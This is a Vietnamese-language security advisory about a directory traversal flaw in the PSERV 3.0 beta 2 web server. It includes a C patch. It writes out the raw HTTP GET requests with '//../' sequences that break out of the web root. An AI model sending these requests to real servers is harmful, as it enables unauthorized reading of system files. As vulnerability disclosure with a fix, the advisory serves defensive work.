Lỗi Webserver PSERV - 3.0 beta 2

trang này đã được đọc lần

Tác giả : Donato Ferrante
Sản phẩm : PSERV web server
http://sourceforge.net/projects/pserv
Phiên bản: 3.0 beta 2
Lỗi : directory traversal bug

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

1. Mô tả
2. Lỗi
3. đoạn mã
4. Sửa lỗi


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

----------------
1. Mô tả : Là một Webserver loại nhỏ , được viết bằng C
----------------


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

------------
2 Lỗi lập trình
------------
Có thể truy vấn thư mục trong webserver nhờ các nhánh sượt ngang ( // ) . Lỗi do mặc định duyệt HTTP trong webserver


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

-------------
3. The code:
-------------

Ta Gửi đến webserver một chuỗi yêu cầu http

"GET //../ HTTP/1.0\r\n\r\n"

Lỗi nằm ở HTTP ( mặc định ) :

GET //../MY_PATH HTTP/1.0\r\n\r\n
GET /SOME_DIRECTORY//..//../ HTTP/1.0\r\n\r\n

Webserver cho phép bạn đi ra khỏi thư mục của webserver và đến các thư mục khác trong hệ thông :)


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

--------------
4. Sửa lỗi
--------------
http://sourceforge.net/projects/pserv, Download phiên bản mới hơn

Hoặc có thể sửa như sau :


--- main.c 2003-09-22 10:39:24.000000000 +0200
+++ patch.c 2003-12-19 12:40:47.000000000 +0100
@@ -455,6 +455,11 @@
dirName[1] = req.documentAddress[2];
dirName[2] = req.documentAddress[3];
dirName[3] ='\0';
+ if (dirName[0] == '/')
+ {
+ sayError(sock, FORBIDDEN, req.documentAddress, req);
+ return -1;
+ }
if (!strcmp(dirName, "../"))
{
sayError(sock, FORBIDDEN, req.documentAddress, req);
@@ -462,6 +467,15 @@
}
}
j = 0;
+ for(i = 1; i < sL; i++) {
+ if(req.documentAddress[i] == '/')
+ if(req.documentAddress[i+1] == '/')
+ {
+ sayError(sock, FORBIDDEN, req.documentAddress, req);
+ return -1;
+ }
+
+ }
for (i = 1; i < sL; i++) {
if (req.documentAddress[i] == '/')
{